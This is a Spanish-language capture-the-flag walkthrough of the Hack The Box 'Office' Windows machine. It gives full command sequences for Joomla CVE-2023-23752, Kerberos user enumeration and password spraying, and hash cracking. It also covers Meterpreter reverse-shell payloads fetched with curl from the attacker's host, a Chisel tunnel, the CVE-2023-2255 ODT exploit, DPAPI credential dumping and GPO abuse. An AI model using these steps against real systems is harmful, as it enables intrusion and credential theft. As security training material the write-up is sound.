๐ฅHTB - Office
https://app.hackthebox.com/machines/Office

Informaciรณn General
Nombre de la Mรกquina: Office
IP de la Mรกquina: 10.129.230.226
Sistema Operativo: Windows
Dificultad: Hard
Fecha de Publicaciรณn: 17 Feb 2024
Enumeration
Ping para obtener ruta de retorno
Realizamos un ping a la mรกquina objetivo para verificar la conectividad y obtener informaciรณn sobre la ruta utilizando la opciรณn -R
para incluir la ruta de retorno:
ping -c 1 10.129.230.226 -R

El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la mรกquina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duraciรณn que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.
Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mรกquina objetivo. Utilizamos las opciones -p-
para escanear todos los puertos, --open
para mostrar solo los puertos abiertos, -sS
para un escaneo de tipo TCP SYN, --min-rate 5000
para establecer la velocidad mรญnima de paquetes y -vvv
para un nivel de verbosidad alto. Ademรกs, utilizamos -n
para desactivar la resoluciรณn de DNS, -Pn
para no realizar el escaneo de ping, y -oG allPorts
para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra funciรณn extractPorts:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.230.226 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap
Posteriormente, realizamos un escaneo mรกs detallado de los puertos identificados utilizando la opciรณn -sCV
para detecciรณn de versiones y scripts de enumeraciรณn de servicios. Especรญficamente, indicamos los puertos a escanear con -p __PORTS__
(reemplazando __PORTS__
con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted
:
sudo nmap -sCV -pPORTS 10.129.230.226 -oN targeted
# Nmap 7.94SVN scan initiated Mon Apr 1 00:23:34 2024 as: nmap -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389,49664,49668,61823,61836,61855 -sCV -oN targeted 10.129.230.226
Nmap scan report for 10.129.230.226
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Home
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-01 12:23:46Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
61823/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
61836/tcp open msrpc Microsoft Windows RPC
61855/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-04-01T12:24:41
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 1 00:25:19 2024 -- 1 IP address (1 host up) scanned in 104.80 seconds
Modificando /etc/hosts
Para aรฑadir la entrada "10.129.230.226 office.htb" al archivo /etc/hosts
, puedes usar el siguiente comando en la terminal:
echo "10.129.230.226 dc.office.htb office.htb " | sudo tee -a /etc/hosts
Enumeration en Joomla

Explotaciรณn de CVE-2023-23752
Entonces podemos ver que se trata de Joomla 4.2.7, y en Google encuentro esto: CVE-2023-23752 - Joomla Improper Access Check.
http://office.htb/api/index.php/v1/users?public=true
http://office.htb/api/index.php/v1/config/application?public=true


En este WriteUp puedes encontrar mรกs informaciรณn de este CVE. HTB - Devvortex
Descubrimiento de Usuarios / Password Bruteforce
Podemos utilizar kerbrute y ver si encontramos algunos usuarios, para luego ver a cual de ellos le corresponde la contraseรฑa que encontramos.
kerbrute userenum --dc dc.office.htb -d office.htb -t 2000 /usr/share/seclists/Usernames/xato-net-10-milion-usernames.txt -o users
kerbrute passwordspray -d office.htb --dc dc.office.htb users H0lOgrams4reTakIng0Ver754!


crackmapexec smb office.htb -u users -p 'H0lOgrams4reTakIng0Ver754!'

dwolfe:H0lOgrams4reTakIng0Ver754!
Cliente SMB (Impacket)
git clone https://github.com/fortra/impacket.git
cd impacket/examples/
python3 smbclient.py office.htb/dwolfe:'H0lOgrams4reTakIng0Ver754!'@10.129.230.226
shares

use SOC Anaysis
ls
get Latest-System-Dump-8fbc124d.pcap

Obteniendo Kerberos Pre-Auth Packets con Wireshark

Mรกs informacion en https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/.

echo '$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc' > hash.txt
hashcat -m 19900 hash.txt usr/share/wordlists/rockyou.txt

Accedemos como Administrator en Joomla
office.htb/Administrator
Administrator:playboy69

Modificamos algรบn archivo para subir nuestra shell. En este caso yo subir un uploader y luego la shell.


Meterpreter Reverse_TCP Shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=6666 -f exe -o 6666.exe
python3 -m http.server 8888
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 6666
run
cd C:\xampp
curl 10.10.15.21:8888/6666.exe -o 6666.exe
6666.exe

RunasCs y Meterpreter Shell como Tstark
Lo que deseamos hacer es ejecutar mediante RunasCs nuestro 7777.exe, para que este se ejecute desde el usuario Tstark para asรญ acceder a su cuenta.

Import-Module ./Invoke-RunasCs.ps1
Invoke-RunasCs -Username tstark -Password playboy69 -Command "whoami"
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
curl 10.10.15.21:8888/7777.exe -o 7777.exe
Invoke-RunasCs -Username tstark -Password playboy69 -Command "C:\xampp\7777.exe"

Port forwarding con Chisel
Deseamos acceder a la ruta 127.0.0.1:8083 de la mรกquina Windows desde nuestra mรกquina Kali Linux para ello debemos redireccionar:
10.10.15.21:7777 -> 127.0.0.1:8083
Entonces cuando accedamos a 127.0.0.1:8083 desde Kali Linux accederemos al contenido de la mรกquina Windows.
python3 -m http.server 8888
curl 10.10.15.21:8888/chisel.exe -o chisel.exe
chisel.exe client 10.10.15.21:7777 R:8083:127.0.0.1:8083
./chisel server -p 7777 --reverse



RCE con ODT File (CVE-2023-2255)
Lo primero que vamos a hacer es crear nuestro 9999.exe y enviarlo al servidor victima (descargandolo con curl). Para luego que este sea ejecutado por el archivo odt.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
curl 10.10.15.21:8888/9999.exe -o C:\Users\Public\9999.exe
git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'C:\Users\Public\9999.exe' --output '3ky.odt'

Lo siguiente es enviar el archivo *.odt en el formulario para que este sea "ejecutado" en la mรกquina victima.

Despuรฉs de unos minutos se abre la sesiรณn exitosamente, ahora tenemos acceso a office\ppotts ๐.

Privilege Escalation
vaultcmd /listcreds:"Windows Credentials" /all

dir /a:h C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\

dpapi::cred /in:"%appdata%\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\E76CCA3670CD9BB98DF79E0A8D176F1E"



Obtener SID (Security Identifier)
Get-ChildItem C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\PPotts\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\{SID}

Ahora utilizamos nuestro SID y nuestro GuidMasterKey:
dpapi::masterkey /in:C:\Users\PPotts\AppData\Roaming\Microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc

dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4/ masterkey::87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166

Evil-WinRM

Get-GPO -All | Select-Object -ExpandProperty DisplayName
GPO Abuse con SharpGPOAbuse
Primero descargamos el ejecutable SharpGPOAbuse.exe y lo descargamos en la mรกquina Windows.

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"
gpupdate /Force



รltima actualizaciรณn
ยฟTe fue รบtil?